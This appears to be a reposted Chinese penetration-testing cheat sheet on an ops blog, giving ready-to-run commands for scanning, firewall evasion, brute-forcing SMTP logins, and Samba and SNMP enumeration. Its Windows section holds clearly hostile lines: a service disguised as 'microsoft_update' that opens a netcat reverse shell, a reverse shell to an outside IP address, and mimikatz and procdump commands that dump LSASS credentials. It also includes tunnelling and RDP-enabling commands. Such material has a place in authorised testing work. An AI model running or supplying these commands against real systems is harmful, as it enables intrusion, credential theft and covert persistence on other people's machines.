SaltStack常用组件使用 SaltStack配置文件说明 轻量级DNS、DHCP服务软件DNSMASQ 千万级PV(日)的移动应用架构如何实现 高效运维最佳实践-运维自动化之殇 Ubuntu 14.04 Linux如何配置静态IP地址和DNS服务器 ELK 常见错误与解决办法 Elasticsearch 集群配置管理常用操作 常用数字证书格式相互转换-OpenSSL/Keytool/Jks2pfx ELK 综合日志归档分析系统(2)-Logstash安装配置 Elasticsearch之Shield认证与权限管理 ELK 综合日志归档分析系统(1)-Elasticsearch-Redis安装配置 Redmine 3.2 安装配置指南 CentOS6 大型web系统数据缓存设计 Redis 集群方案 Linux 内核TCP优化详解 SaltStack初始化安装配置 OpenLDAP常用操作 OpenLDAP统一身份认证 [CentOS6/7] 构建Linux Skype Message消息推送API服务(Zabbix集成告警) Tomcat 生产服务器性能优化 Zabbix结合iptables监控网络流量 Linux操作系统环境配置与优先级问题 深入 NGINX: 我们如何设计性能和扩展 Windows SQL Server 性能计数器详细说明 Windows性能计数器说明 Ubuntu安装openntpd报错:Starting openntpd: /etc/openntpd/ntpd.conf: Permission denied locale: Cannot set LC_ALL to default locale: No such file or directory OpenSSL拆解p12证书公约和私钥 Linux sar 统计系统性能(网卡、内存和交换空间、CPU资源等) Linux Shell /dev/null 2>&1 含义 Windows 2003操作系统网络不通 构建私有yum安装源镜像站点(openstack) CentOS6/RedHat6新增网卡识别问题 Ubuntu 14.04 Server优化与使用问题解决 Redhat/CentOS6系统使用ntfs-3g挂载NTFS分区 Linux GPT挂载超过2TB磁盘 Linux系统性能优化、测试和监控工具梳理 修复WIN2003远程桌面服务无法访问 解决CentOS“Zabbix discoverer processes 75% busy”的问题 REHL/CentOS安装phpMyadmin

渗透测试工具实战技巧合集

2016年05月31日

最好的 NMAP 扫描策略

# 适用所有大小网络最好的 nmap 扫描策略

# 主机发现,生成存活主机列表
$ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
$ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt

# 端口发现,发现大部分常用端口
# http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
$ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
$ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt

# 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# 显示 TCP\UDP 端口
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# 侦测服务版本
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# 扫做系统扫描
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# 系统和服务检测
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

Nmap – 躲避防火墙

# 分段
$ nmap -f

# 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
$ nmap --mtu 24

# 生成随机数量的欺骗
$ nmap -D RND:10 [target]

# 手动指定欺骗使用的 IP
$ nmap -D decoy1,decoy2,decoy3 etc.

# 僵尸网络扫描, 首先需要找到僵尸网络的IP
$ nmap -sI [Zombie IP] [Target IP]

# 指定源端口号
$ nmap --source-port 80 IP

# 在每个扫描数据包后追加随机数量的数据
$ nmap --data-length 25 IP

# MAC 地址欺骗,可以生成不同主机的 MAC 地址
$ nmap --spoof-mac Dell/Apple/3Com IP

Nmap 进行 Web 漏洞扫描

cd /usr/share/nmap/scripts/
wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz
nmap -sS -sV --script=vulscan/vulscan.nse target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target
nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target
nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target
nmap -sV --script=vuln target
nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

使用 DIRB 爆破目录

DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑等等。

dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

Patator – 全能暴力破解测试工具

# git clone https://github.com/lanjelot/patator.git /usr/share/patator

# SMTP 爆破
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst
$ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
$ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

使用 Fierce 爆破 DNS

Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等

# http://ha.ckers.org/fierce/
$ ./fierce.pl -dns example.com
$ ./fierce.pl –dns example.com –wordlist myWordList.txt

使用 Nikto 扫描 Web 服务

nikto -C all -h http://IP

扫描 WordPress

git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

HTTP 指纹识别

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip
cd httprint_301/linux/
./httprint -h http://IP -s signatures.txt

使用 Skipfish 扫描

Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

使用 NC 扫描

nc -v -w 1 target -z 1-1000
for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

Unicornscan

Unicornscan 是一个信息收集和安全审计的工具。

us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H 在生成报告阶段解析主机名
-m 扫描类型 (sf - tcp, U - udp)
-Iv - 详细

使用 Xprobe2 识别操作系统指纹

xprobe2 -v -p tcp:80:open IP

枚举 Samba

nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

枚举 SNMP

snmpget -v 1 -c public IP
snmpwalk -v 1 -c public IP
snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

实用的 Windows cmd 命令

net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统

PuTTY 连接隧道

转发远程端口到目标地址
plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP

Meterpreter 端口转发

# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# 转发远程端口到目标地址
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

开启 RDP 服务

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

*原文:jivoi,FB小编xiaix编译,转自FreeBuf黑客与极客(FreeBuf.COM)

转载请注明:自动化运维 » 渗透测试工具实战技巧合集